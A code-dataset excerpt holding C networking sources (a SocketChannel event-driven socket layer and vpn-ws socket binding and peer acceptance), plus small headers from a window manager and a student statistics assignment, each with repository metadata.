2019-08-21T06:40:51.000Z
2020-06-02T11:22:20.000Z
/** * Copyright (C) 2013-2015 * * @author jxfengzi@gmail.com * @date 2013-11-19 * * @file SocketChannel.c * * @remark * set tabstop=4 * set shiftwidth=4 * set expandtab */ #include <tiny_malloc.h> #include <tiny_log.h> #include <tiny_socket.h> #include <tiny_snprintf.h> #include "SocketChannel.h" #define TAG "SocketChannel" TINY_LOR static void _OnHandlerRemoved(void * data, void *ctx) { ChannelHandler *handler = (ChannelHandler *)data; handler->onRemove(handler); } TINY_LOR static void _OnBufferRemoved(void * data, void *ctx) { ByteBuffer_Delete((ByteBuffer *)data); } TINY_LOR static uint16_t _socket_get_port(int fd) { uint16_t port = 0; struct sockaddr_in sin; socklen_t len = (socklen_t) sizeof(sin); if (getsockname(fd, (struct sockaddr *)&sin, &len) == 0) { port = ntohs(sin.sin_port); } return port; } TINY_LOR TinyRet SocketChannel_Dispose(Channel *thiz) { RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); // LOG_D(TAG, "SocketChannel_Dispose: %s", thiz->id); TinyList_Dispose(&thiz->handlers); TinyList_Dispose(&thiz->sendBuffers); if (thiz->recvBuffer != NULL) { ByteBuffer_Delete(thiz->recvBuffer); } return TINY_RET_OK; } TINY_LOR void SocketChannel_Delete(Channel *thiz) { SocketChannel_Dispose(thiz); tiny_free(thiz); } TINY_LOR void SocketChannel_OnRegister(Channel *thiz, Selector *selector, ChannelTimer *timer) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(selector); if (Channel_IsActive(thiz)) { Selector_Register(selector, thiz->fd, SELECTOR_OP_READ); if (thiz->sendBuffers.size > 0) { Selector_Register(selector, thiz->fd, SELECTOR_OP_WRITE); } if (thiz->_getTimeout != NULL) { if (RET_SUCCEEDED(thiz->_getTimeout(thiz, timer, NULL))) { timer->fd = thiz->fd; } } } } TINY_LOR void SocketChannel_OnActive(Channel *thiz) { RETURN_IF_FAIL(thiz); LOG_I(TAG, "SocketChannel_OnActive: %s, handlers: %d", thiz->id, thiz->handlers.size); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *handler = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); LOG_D(TAG, "ChannelHandler: %s", handler->name); if (handler->channelActive != NULL) { handler->channelActive(handler, thiz); } } } TINY_LOR void SocketChannel_OnInactive(Channel *thiz) { RETURN_IF_FAIL(thiz); LOG_D(TAG, "SocketChannel_OnInactive: %s", thiz->id); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *handler = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (handler->channelInactive != NULL) { handler->channelInactive(handler, thiz); } } } TINY_LOR void SocketChannel_OnEventTriggered(Channel *thiz, ChannelTimer *timer) { RETURN_IF_FAIL(thiz); // LOG_D(TAG, "SocketChannel_OnEventTriggered"); if (thiz->fd == timer->fd) { for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *handler = (ChannelHandler *)TinyList_GetAt(&thiz->handlers, i); if (handler->channelEvent != NULL) { handler->channelEvent(handler, thiz, timer); } } } } TINY_LOR TinyRet SocketChannel_GetTimeout(Channel *thiz, ChannelTimer *timer, void *ctx) { RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL(timer, TINY_RET_E_ARG_NULL); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *handler = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (handler->getTimeout != NULL) { return handler->getTimeout(thiz, timer, handler); } } return TINY_RET_E_NOT_IMPLEMENTED; } TINY_LOR static TinyRet SocketChannel_OnRead(Channel *thiz) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); // LOG_I(TAG, "SocketChannel_OnRead: %s", thiz->id); do { ByteBuffer *buffer = ByteBuffer_New(thiz->inBufferSize); if (buffer == NULL) { LOG_E(TAG, "ByteBuffer_New failed!"); ret = TINY_RET_E_NEW; break; } int size = tiny_recv(thiz->fd, buffer->bytes, buffer->size, 0); if (size > 0) { buffer->available = (uint32_t) size; SocketChannel_StartRead(thiz, DATA_RAW, buffer->bytes, buffer->available); } else if (size == 0) { // LOG_D(TAG, "tiny_recv: 0"); ret = TINY_RET_E_SOCKET_READ; } else { // LOG_D(TAG, "tiny_recv: %d", (int)size); if (tiny_socket_has_error(thiz->fd)) { ret = TINY_RET_E_SOCKET_READ; } } ByteBuffer_Delete(buffer); } while (false); return ret; } TINY_LOR static TinyRet SocketChannel_OnWrite(Channel *thiz) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); LOG_I(TAG, "SocketChannel_OnWrite, channel.id: %s, buffers: %d", thiz->id, thiz->sendBuffers.size); for (uint32_t i = 0; i < thiz->sendBuffers.size; ++i) { ByteBuffer *buffer = (ByteBuffer *)TinyList_GetAt(&thiz->sendBuffers, i); int sent = tiny_send(thiz->fd, buffer->bytes + buffer->offset, (uint32_t) buffer->available, 0); if (sent != buffer->available) { LOG_E(TAG, "tiny_send failed, data length: %d, sent:%d", buffer->available, (int)sent); if (sent == -1) { if (tiny_socket_has_error(thiz->fd)) { Channel_Close(thiz); break; } } } // LOG_D(TAG, "tiny_send: %d", (int)sent); } TinyList_RemoveAll(&thiz->sendBuffers); return ret; } TINY_LOR TinyRet SocketChannel_OnAccess(Channel *thiz, Selector *selector) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL(selector, TINY_RET_E_ARG_NULL); // LOG_I(TAG, "SocketChannel_OnAccess: %s", thiz->id); do { if (Channel_IsActive(thiz)) { if (Selector_IsReadable(selector, thiz->fd)) { ret = SocketChannel_OnRead(thiz); if (RET_FAILED(ret)) { break; } } } if (Channel_IsActive(thiz)) { if (Selector_IsWriteable(selector, thiz->fd)) { ret = SocketChannel_OnWrite(thiz); if (RET_FAILED(ret)) { break; } } } } while (false); return ret; } TINY_LOR TinyRet SocketChannel_Construct(Channel *thiz, uint32_t inSize, uint32_t outSize, ChannelLoopHook loopHook, void *ctx) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); LOG_D(TAG, "Channel_Construct"); LOG_E(TAG, "ChannelLoopHook: %s", loopHook == NULL ? "null" : "not null" ); do { memset(thiz, 0, sizeof(Channel)); ret = TinyList_Construct(&thiz->handlers, _OnHandlerRemoved, NULL); if (RET_FAILED(ret)) { break; } thiz->fd = -1; thiz->inBufferSize = inSize; // thiz->outBufferSize = outSize; thiz->_onRegister = SocketChannel_OnRegister; thiz->_onAccess = SocketChannel_OnAccess; thiz->_onRemove = SocketChannel_Delete; thiz->_onActive = SocketChannel_OnActive; thiz->_onInactive = SocketChannel_OnInactive; thiz->_onEventTriggered = SocketChannel_OnEventTriggered; thiz->_getTimeout = SocketChannel_GetTimeout; thiz->_close = SocketChannel_Close; thiz->_loopHook = loopHook; thiz->_loopHookContext = ctx; ret = TinyList_Construct(&thiz->sendBuffers, _OnBufferRemoved, NULL); if (RET_FAILED(ret)) { break; } } while (0); return ret; } TINY_LOR Channel * SocketChannel_New(ChannelLoopHook loopHook, void *ctx) { return SocketChannel_NewCustomBufferSize(1024, 0, loopHook, ctx); } TINY_LOR Channel * SocketChannel_NewCustomBufferSize(uint32_t inSize, uint32_t outSize, ChannelLoopHook loopHook, void *ctx) { Channel *thiz = NULL; do { thiz = (Channel *)tiny_malloc(sizeof(Channel)); if (thiz == NULL) { break; } if (RET_FAILED(SocketChannel_Construct(thiz, inSize, outSize, loopHook, ctx))) { SocketChannel_Delete(thiz); thiz = NULL; break; } } while (0); return thiz; } TINY_LOR void SocketChannel_SetRemoteInfo(Channel *thiz, const char *ip, uint16_t port) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(ip); tiny_snprintf(thiz->id, CHANNEL_ID_LEN, "%d#%s:%d", thiz->fd, ip, port); strncpy(thiz->remote.socket.ip, ip, TINY_IP_LEN); thiz->remote.socket.port = port; } TINY_LOR void SocketChannel_Initialize(Channel *thiz, ChannelInitializer initializer, void *ctx) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(initializer); initializer(thiz, ctx); thiz->_onActive(thiz); } TINY_LOR TinyRet SocketChannel_Open(Channel *thiz, ChannelType type) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); do { int socket_type = 0; int socket_protocol = 0; if (type == TYPE_UDP) { LOG_D(TAG, "SocketChannel_Open: UDP"); socket_type = SOCK_DGRAM; socket_protocol = 0; } else if (type == TYPE_TCP_SERVER || type == TYPE_TCP_CONNECTION) { LOG_D(TAG, "SocketChannel_Open: TCP"); socket_type = SOCK_STREAM; socket_protocol = 0; } else { LOG_E(TAG, "ChannelType invalid"); ret = TINY_RET_E_ARG_INVALID; break; } thiz->fd = (int) tiny_socket(AF_INET, socket_type, socket_protocol); if (thiz->fd < 0) { LOG_E(TAG, "socket failed"); ret = TINY_RET_E_SOCKET_FD; break; } } while (0); return ret; } TINY_LOR void SocketChannel_Close(Channel *thiz) { LOG_D(TAG, "SocketChannel_Close: %s", thiz->id); Channel_Close(thiz); } TINY_LOR TinyRet SocketChannel_Bind(Channel *thiz, uint16_t port, bool reuse) { TinyRet ret = TINY_RET_OK; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); LOG_I(TAG, "SocketChannel_Bind: %d reuse: %s", port, reuse ? "yes" : "no"); do { int result = 0; struct sockaddr_in self_addr; memset(&self_addr, 0, sizeof(self_addr)); self_addr.sin_family = AF_INET; self_addr.sin_addr.s_addr = htonl(INADDR_ANY); self_addr.sin_port = htons(port); if (reuse) { result = tiny_socket_reuse_port(thiz->fd); if (result != 0) { LOG_E(TAG, "tiny_socket_reuse_port failed: %d", result); ret = TINY_RET_E_SOCKET_SETSOCKOPT; break; } result = tiny_socket_reuse_address(thiz->fd); if (result != 0) { LOG_E(TAG, "tiny_socket_reuse_address failed: %d", result); ret = TINY_RET_E_SOCKET_SETSOCKOPT; break; } } result = tiny_bind(thiz->fd, (struct sockaddr *)&self_addr, sizeof(self_addr)); if (result < 0) { LOG_E(TAG, "tiny_bind failed: %s", strerror(errno)); ret = TINY_RET_E_SOCKET_BIND; break; } thiz->local.socket.address = self_addr.sin_addr.s_addr; thiz->local.socket.port = (port > 0) ? port : tiny_socket_get_port(thiz->fd);; tiny_snprintf(thiz->id, CHANNEL_ID_LEN, "%d#127.0.0.1:%d", thiz->fd, thiz->local.socket.port); LOG_I(TAG, "SocketChannel_Bind OK. channel id: %s", thiz->id); } while (0); return ret; } TINY_LOR TinyRet SocketChannel_SetBlock(Channel *thiz, bool block) { return (tiny_socket_set_block(thiz->fd, block) == 0) ? TINY_RET_OK : TINY_RET_E_INTERNAL; } TINY_LOR TinyRet SocketChannel_Listen(Channel *thiz, int maxConnections) { LOG_I(TAG, "SocketChannel_Listen, maxConnections: %d", maxConnections); RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL((maxConnections > 0), TINY_RET_E_ARG_NULL); if (tiny_listen(thiz->fd, maxConnections) < 0) { return TINY_RET_E_INTERNAL; } if (thiz->local.socket.port == 0) { thiz->local.socket.port = _socket_get_port(thiz->fd); } return TINY_RET_OK; } TINY_LOR TinyRet SocketChannel_JoinGroup(Channel *thiz, const char *ip, const char *group) { return (tiny_socket_join_group(thiz->fd, ip, group) == 0 ? TINY_RET_OK : TINY_RET_E_SOCKET_SETSOCKOPT); } TINY_LOR TinyRet SocketChannel_LeaveGroup(Channel *thiz) { return (tiny_socket_leave_group(thiz->fd) == 0 ? TINY_RET_OK : TINY_RET_E_SOCKET_SETSOCKOPT); } TINY_LOR TinyRet SocketChannel_AddBefore(Channel *thiz, const char *name, ChannelHandler *handler) { int position = -1; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL(name, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL(handler, TINY_RET_E_ARG_NULL); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *h = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (STR_EQUAL(h->name, name)) { position = i; break; } } if (position < 0) { return TINY_RET_E_NOT_FOUND; } return TinyList_InsertBefore(&thiz->handlers, position, handler); } TINY_LOR void SocketChannel_AddLast(Channel *thiz, ChannelHandler *handler) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(handler); TinyList_AddTail(&thiz->handlers, handler); } TINY_LOR ChannelHandler * SocketChannel_GetHandler(Channel *thiz, const char *name) { RETURN_VAL_IF_FAIL(thiz, NULL); RETURN_VAL_IF_FAIL(name, NULL); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *h = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (STR_EQUAL(h->name, name)) { return h; } } return NULL; } TINY_LOR TinyRet SocketChannel_RemoveHandler(Channel *thiz, const char *name) { int position = -1; RETURN_VAL_IF_FAIL(thiz, TINY_RET_E_ARG_NULL); RETURN_VAL_IF_FAIL(name, TINY_RET_E_ARG_NULL); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *h = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (STR_EQUAL(h->name, name)) { h->invalid = true; position = i; break; } } if (position < 0) { return TINY_RET_E_NOT_FOUND; } return TINY_RET_OK; } TINY_LOR static void _RemoveHandlerIfNecessary(Channel *thiz) { int position = -1; RETURN_IF_FAIL(thiz); for (uint32_t i = 0; i < thiz->handlers.size; ++i) { ChannelHandler *handler = (ChannelHandler *) TinyList_GetAt(&thiz->handlers, i); if (handler->invalid) { position = i; break; } } if (position >= 0) { TinyList_RemoveAt(&thiz->handlers, position); } } TINY_LOR void SocketChannel_StartRead(Channel *thiz, ChannelDataType type, const void *data, uint32_t len) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(data); _RemoveHandlerIfNecessary(thiz); thiz->currentReader = 0; SocketChannel_NextRead(thiz, type, data, len); } TINY_LOR void SocketChannel_NextRead(Channel *thiz, ChannelDataType type, const void *data, uint32_t len) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(data); // LOG_I(TAG, "SocketChannel_NextRead"); while (true) { ChannelHandler *handler = TinyList_GetAt(&thiz->handlers, thiz->currentReader++); if (handler == NULL) { break; } if (handler->invalid) { LOG_D(TAG, "ChannelHandler: %s is invalid, skip it", handler->name); continue; } // LOG_D(TAG, "ChannelHandler: %s", handler->name); if (handler->inType != type) { LOG_E(TAG, "ChannelHandler: %s, ChannelDataType not matched: %d, but expect is %d", handler->name, type, handler->inType); break; } if (handler->channelRead == NULL) { // LOG_D(TAG, "%s.channelRead not implemented", handler->name); continue; } if (handler->channelRead(handler, thiz, type, data, len)) { break; } } } TINY_LOR void SocketChannel_StartWrite(Channel *thiz, ChannelDataType type, const void *data, uint32_t len) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(data); thiz->currentWriter = thiz->handlers.size - 1; SocketChannel_NextWrite(thiz, type, data, len); } TINY_LOR void SocketChannel_NextWrite(Channel *thiz, ChannelDataType type, const void *data, uint32_t len) { RETURN_IF_FAIL(thiz); RETURN_IF_FAIL(data); // LOG_I(TAG, "SocketChannel_NextWrite"); while (true) { ChannelHandler *handler = TinyList_GetAt(&thiz->handlers, thiz->currentWriter--); if (handler == NULL) { if (type == DATA_RAW) { // LOG_D(TAG, "add buffer(%d) to sendBuffers", len); ByteBuffer *buffer = ByteBuffer_New(len); if (buffer == NULL) { LOG_E(TAG, "ByteBuffer_New FAILED: %d", len); break; } if (! ByteBuffer_Put(buffer, (uint8_t *) data, len)) { LOG_E(TAG, "ByteBuffer_Put FAILED"); ByteBuffer_Delete(buffer); break; } if (RET_FAILED(TinyList_AddTail(&thiz->sendBuffers, buffer))) { LOG_E(TAG, "TinyList_AddTail FAILED"); ByteBuffer_Delete(buffer); break; } } else { LOG_E(TAG, "handler not found, but data type is: %d", type); } break; } if (handler->invalid) { LOG_D(TAG, "ChannelHandler: %s is invalid, skip it", handler->name); continue; } if (handler->channelWrite == NULL) { LOG_D(TAG, "%s.channelWrite NOT IMPLEMENTED", handler->name); continue; } if (handler->outType != type) { LOG_D(TAG, "ChannelHandler: %s, ChannelDataType not matched: %d, but expect is %d", handler->name, type, handler->outType); continue; } // LOG_D(TAG, "%s.channelWrite, outType: %d", handler->name, handler->outType); if (handler->channelWrite(handler, thiz, handler->outType, data, len)) { break; } } }
24.96139
135
0.588141
e07098960e53291a0d5f21fc68c68ddd38364f49
321
h
C
ewmh_client.h
jefbed/jbwm
bfd23e09408a666676f0a7b978f895028643b9c0
[ "MIT" ]
23
2016-01-07T12:58:39.000Z
2022-01-24T11:55:06.000Z
ewmh_client.h
jefbed/arwm-x11
bfd23e09408a666676f0a7b978f895028643b9c0
[ "MIT" ]
4
2016-01-11T00:24:21.000Z
2020-03-15T03:02:29.000Z
ewmh_client.h
jefbed/arwm-x11
bfd23e09408a666676f0a7b978f895028643b9c0
[ "MIT" ]
3
2018-11-14T19:37:19.000Z
2021-05-13T11:51:41.000Z
// Copyright 2020, Jeffrey E. Bedard #ifndef JBWM_EWMH_CLIENT_H #define JBWM_EWMH_CLIENT_H #include <X11/Xlib.h> struct JBWMClient; void jbwm_ewmh_handle_client_message(XClientMessageEvent * e, struct JBWMClient * c, struct JBWMClient ** head_client, struct JBWMClient ** current_client); #endif//!JBWM_EWMH_CLIENT_H
32.1
61
0.803738
81be596430012cb2ac33db3247cf5693678e4eaf
1,987
h
C
Ano1/Prog2/trabalho03/modules.h
ivzvvv/FEUP
673a400c71f0a92510a30d864d6911902ecbd684
[ "Unlicense" ]
9
2017-05-31T09:18:42.000Z
2020-03-29T12:15:35.000Z
Ano1/Prog2/trabalho03/modules.h
rodzzyx/FEUP
6668806a37b0e83810929d59de2e9af332f31842
[ "Unlicense" ]
null
null
null
Ano1/Prog2/trabalho03/modules.h
rodzzyx/FEUP
6668806a37b0e83810929d59de2e9af332f31842
[ "Unlicense" ]
17
2017-03-14T13:11:29.000Z
2021-04-22T23:37:38.000Z
/*****************************************************************/ /* Trabalho pratico 3 | PROG2 | MIEEC | 2016/17 */ /*****************************************************************/ /* NAO ALTERAR ESTE FICHEIRO */ /*****************************************************************/ #ifndef MODULES_H #define MODULES_H /* Serve para realizar as inicializacoes necessarias e e' invocada no início da sessao. O parametro maxTransactions e' o numero maximo de transacoes que terao de ser processadas na sessao. */ void median_initModule(int maxTransactions); /* Invocada sempre que ocorre uma nova transacao. O parametro numActions e' o numero de acoes transacionadas na nova transacao e o parametro updatedMedian devolve a mediana atualizada. A funcao retorna -1 em caso de erro e 1 em caso de funcionamento normal. */ int median_newObservation(int numActions, float *updatedMedian); /* Invocada no fim da sessao e serve para libertar toda a memoria alocada previamente. */ void median_closeModule(); /* Serve para realizar as inicializacoes necessarias e e' invocada no início da sessao. O parametro maxTransactions e' o numero maximo de transacoes que terao de ser processadas na sessao. */ void mode_initModule(int maxTransactions); /* Invocada sempre que ocorre uma nova transacao. O parametro companyName e' o nome da empresa cujas acoes foram transacionadas na nova transacao e o parametro updatedMode recebe a moda atualizada (nome da empresa mais vezes transacionada ate' ao momento). Se houver mais do que uma moda a funcao deve retornar o nome da primeira empresa a atingir esse valor. A funcao retorna -1 em caso de erro e 1 em caso de funcionamento normal */ int mode_newObservation(const char *companyName, char *updatedMode); /* Invocada no fim da sessao e serve para libertar toda a memoria alocada previamente. */ void mode_closeModule(); #endif
39.74
75
0.663312
81dfe7851214f158a4ff6c7383d095fc2cd82695
6,484
c
C
src/socket.c
mobiliodevelopment/vpn-ws
ec10c3526b115ea32775f495abd449948cc1d807
[ "MIT" ]
null
null
null
src/socket.c
mobiliodevelopment/vpn-ws
ec10c3526b115ea32775f495abd449948cc1d807
[ "MIT" ]
null
null
null
src/socket.c
mobiliodevelopment/vpn-ws
ec10c3526b115ea32775f495abd449948cc1d807
[ "MIT" ]
null
null
null
#include "vpn-ws.h" vpn_ws_fd vpn_ws_bind_ipv6(char *name) { struct sockaddr_in6 sin6; memset(&sin6, 0, sizeof(struct sockaddr_in6)); char *port = strrchr(name, ':'); if (!port) { vpn_ws_error("invalid ipv6 address, must be in the form [address]:port\n"); return vpn_ws_invalid_fd; } *port = 0; sin6.sin6_family = AF_INET6; sin6.sin6_port = htons(atoi(port + 1)); if (!strcmp(name, "[::]")) { sin6.sin6_addr = in6addr_any; } else { char *addr = vpn_ws_strndup(name+1, strlen(name+1) -1); #ifndef __WIN32__ inet_pton(AF_INET6, addr, sin6.sin6_addr.s6_addr); #else int sin6_len = sizeof(struct sockaddr_in6); WSAStringToAddress(addr, AF_INET6, NULL, (LPSOCKADDR) &sin6, &sin6_len); #endif free(addr); } *port = ':'; vpn_ws_fd fd = (vpn_ws_fd) socket(AF_INET6, SOCK_STREAM, 0); if (fd < 0) { vpn_ws_error("vpn_ws_bind_ipv6()/socket()"); return vpn_ws_invalid_fd; } int reuse = 1; if (setsockopt(vpn_ws_socket_cast(fd), SOL_SOCKET, SO_REUSEADDR, (const void *) &reuse, sizeof(int)) < 0) { vpn_ws_error("vpn_ws_bind_ipv6()/setsockopt()"); close(fd); return vpn_ws_invalid_fd; } if (bind(vpn_ws_socket_cast(fd), (struct sockaddr *) &sin6, sizeof(struct sockaddr_in6))) { vpn_ws_error("vpn_ws_bind_ipv6()/bind()"); close(fd); return vpn_ws_invalid_fd; } if (listen(vpn_ws_socket_cast(fd), 100)) { vpn_ws_error("vpn_ws_bind_ipv6()/listen()"); close(fd); return vpn_ws_invalid_fd; } return fd; } vpn_ws_fd vpn_ws_bind_ipv4(char *name) { struct sockaddr_in sin4; memset(&sin4, 0, sizeof(struct sockaddr_in)); char *port = strrchr(name, ':'); if (!port) { vpn_ws_error("invalid ipv4 address, must be in the form address:port\n"); return vpn_ws_invalid_fd; } *port = 0; sin4.sin_family = AF_INET; sin4.sin_port = htons(atoi(port + 1)); if (name[0] == 0) { sin4.sin_addr.s_addr = INADDR_ANY; } else { sin4.sin_addr.s_addr = inet_addr(name); } *port = ':'; vpn_ws_fd fd = (vpn_ws_fd) socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { vpn_ws_error("vpn_ws_bind_ipv4()/socket()"); return vpn_ws_invalid_fd; } int reuse = 1; if (setsockopt(vpn_ws_socket_cast(fd), SOL_SOCKET, SO_REUSEADDR, (const void *) &reuse, sizeof(int)) < 0) { vpn_ws_error("vpn_ws_bind_ipv4()/setsockopt()"); close(fd); return vpn_ws_invalid_fd; } if (bind(vpn_ws_socket_cast(fd), (struct sockaddr *) &sin4, sizeof(struct sockaddr_in))) { vpn_ws_error("vpn_ws_bind_ipv4()/bind()"); close(fd); return vpn_ws_invalid_fd; } if (listen(vpn_ws_socket_cast(fd), 100)) { vpn_ws_error("vpn_ws_bind_ipv4()/listen()"); close(fd); return vpn_ws_invalid_fd; } return fd; } vpn_ws_fd vpn_ws_bind_unix(char *name) { #ifdef __WIN32__ vpn_ws_log("UNIX domain sockets not supported on windows\n"); return NULL; #else // ignore unlink error unlink(name); int fd = socket(AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { vpn_ws_error("vpn_ws_bind_unix()/socket()"); return -1; } struct sockaddr_un s_un; memset(&s_un, 0, sizeof(struct sockaddr_un)); s_un.sun_family = AF_UNIX; strncpy(s_un.sun_path, name, sizeof(s_un.sun_path)); if (bind(fd, (struct sockaddr *) &s_un, sizeof(struct sockaddr_un)) < 0) { vpn_ws_error("vpn_ws_bind_unix()/bind()"); close(fd); return -1; } if (listen(fd, 100) < 0) { vpn_ws_error("vpn_ws_bind_unix()/listen()"); close(fd); return -1; } if (chmod(name, 0666)) { vpn_ws_error("vpn_ws_bind_unix()/chmod()"); close(fd); return -1; } return fd; #endif } /* this needs to manage AF_UNIX, AF_INET and AF_INET6 */ vpn_ws_fd vpn_ws_bind(char *name) { char *colon = strchr(name, ':'); if (!colon) return vpn_ws_bind_unix(name); if (name[0] == '[') return vpn_ws_bind_ipv6(name); return vpn_ws_bind_ipv4(name); } void vpn_ws_peer_create(int queue, vpn_ws_fd client_fd, uint8_t *mac) { if (vpn_ws_nb(client_fd)) { close(client_fd); return; } if (vpn_ws_event_add_read(queue, client_fd)) { close(client_fd); return; } // create a new peer structure // we use >= so we can lazily allocate memory even if fd is 0 #ifndef __WIN32__ if (client_fd >= vpn_ws_conf.peers_n) { void *tmp = realloc(vpn_ws_conf.peers, sizeof(vpn_ws_peer *) * (client_fd+1)); if (!tmp) { vpn_ws_error("vpn_ws_peer_accept()/realloc()"); close(client_fd); return; } uint64_t delta = (client_fd+1) - vpn_ws_conf.peers_n; memset(tmp + (sizeof(vpn_ws_peer *) * vpn_ws_conf.peers_n), 0, sizeof(vpn_ws_peer *) * delta); vpn_ws_conf.peers_n = client_fd+1; vpn_ws_conf.peers = (vpn_ws_peer **) tmp; } #else // TODO find a solution for windows #endif vpn_ws_peer *peer = vpn_ws_calloc(sizeof(vpn_ws_peer)); if (!peer) { close(client_fd); return; } peer->fd = client_fd; if (mac) { memcpy(peer->mac, mac, 6); vpn_ws_announce_peer(peer, "registered new"); peer->mac_collected = 1; // if we have a mac, the handshake is not needed peer->handshake = 1; // ... and we have a raw peer peer->raw = 1; } #ifndef __WIN32__ vpn_ws_conf.peers[client_fd] = peer; #else // TODO find a solution for windows #endif } void vpn_ws_peer_accept(int queue, int fd) { #ifndef __WIN32__ struct sockaddr_un s_un; memset(&s_un, 0, sizeof(struct sockaddr_un)); socklen_t s_len = sizeof(struct sockaddr_un); #else struct sockaddr_in6 s_un; memset(&s_un, 0, sizeof(struct sockaddr_in6)); socklen_t s_len = sizeof(struct sockaddr_in6); #endif int client_fd = accept(fd, (struct sockaddr *) &s_un, &s_len); if (client_fd < 0) { vpn_ws_error("vpn_ws_peer_accept()/accept()"); return; } #ifndef __WIN32__ vpn_ws_peer_create(queue, client_fd, NULL); #else // TODO find a solution for windows #endif }
26.683128
115
0.601018
98ad1729c9e0779f4ea7b0ab974aa9643eca16ca
273
h
C
RSS-Catalog/RSS-Catalog/RSS-Catalog/RSSSplitViewController.h
rohanaurora/RSS-Aggregator
b22e02b2ea424b251a52584ef446fb114e4a1c09
[ "MIT" ]
null
null
null
RSS-Catalog/RSS-Catalog/RSS-Catalog/RSSSplitViewController.h
rohanaurora/RSS-Aggregator
b22e02b2ea424b251a52584ef446fb114e4a1c09
[ "MIT" ]
null
null
null
RSS-Catalog/RSS-Catalog/RSS-Catalog/RSSSplitViewController.h
rohanaurora/RSS-Aggregator
b22e02b2ea424b251a52584ef446fb114e4a1c09
[ "MIT" ]
null
null
null
// // RSSSplitViewController.h // RSS-Catalog // // Created by Rohan Aurora on 4/4/15. // Copyright (c) 2015 Rohan Aurora. All rights reserved. // #import <UIKit/UIKit.h> @interface RSSSplitViewController : UISplitViewController <UISplitViewControllerDelegate> @end
19.5
89
0.739927
a6dfe3412258ade52deb7473d14a4422fe79efa6
2,167
h
C
paho.mqtt.c/src/samples/pubsub_opts.h
stratixx/MQTT_Client
a182e564d45a60042efcd3d14532d2cf11766828
[ "MIT" ]
null
null
null
paho.mqtt.c/src/samples/pubsub_opts.h
stratixx/MQTT_Client
a182e564d45a60042efcd3d14532d2cf11766828
[ "MIT" ]
null
null
null
paho.mqtt.c/src/samples/pubsub_opts.h
stratixx/MQTT_Client
a182e564d45a60042efcd3d14532d2cf11766828
[ "MIT" ]
null
null
null
/******************************************************************************* * Copyright (c) 2012, 2018 IBM Corp. * * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * and Eclipse Distribution License v1.0 which accompany this distribution. * * The Eclipse Public License is available at * http://www.eclipse.org/legal/epl-v10.html * and the Eclipse Distribution License is available at * http://www.eclipse.org/org/documents/edl-v10.php. * * Contributors: * Ian Craggs - initial contribution * Guilherme Maciel Ferreira - add keep alive option *******************************************************************************/ #if !defined(PUBSUB_OPTS_H) #define PUBSUB_OPTS_H #include "MQTTAsync.h" #include "MQTTClientPersistence.h" struct pubsub_opts { /* debug app options */ int publisher; /* publisher app? */ int quiet; int verbose; int tracelevel; char* delimiter; int maxdatalen; /* message options */ char* message; char* filename; int stdin_lines; int stdlin_complete; int null_message; /* MQTT options */ int MQTTVersion; char* topic; char* clientid; int qos; int retained; char* username; char* password; char* host; char* port; char* connection; int keepalive; /* will options */ char* will_topic; char* will_payload; int will_qos; int will_retain; /* TLS options */ int insecure; char* capath; char* cert; char* cafile; char* key; char* keypass; char* ciphers; /* MQTT V5 options */ int message_expiry; struct { char *name; char *value; } user_property; }; typedef struct { const char* name; const char* value; } pubsub_opts_nameValue; //void usage(struct pubsub_opts* opts, const char* version, const char* program_name); void usage(struct pubsub_opts* opts, pubsub_opts_nameValue* name_values, const char* program_name); int getopts(int argc, char** argv, struct pubsub_opts* opts); char* readfile(int* data_len, struct pubsub_opts* opts); void logProperties(MQTTProperties *props); #endif
24.908046
100
0.644209
ed816b57face2ccbae8798957594ca7dba3a91d1
27
h
C
linsched-linsched-alpha/arch/cris/include/asm/spinlock.h
usenixatc2021/SoftRefresh_Scheduling
589ba06c8ae59538973c22edf28f74a59d63aa14
[ "MIT" ]
55
2019-12-20T03:25:14.000Z
2022-01-16T07:19:47.000Z
linsched-linsched-alpha/arch/cris/include/asm/spinlock.h
usenixatc2021/SoftRefresh_Scheduling
589ba06c8ae59538973c22edf28f74a59d63aa14
[ "MIT" ]
2
2020-11-02T08:01:00.000Z
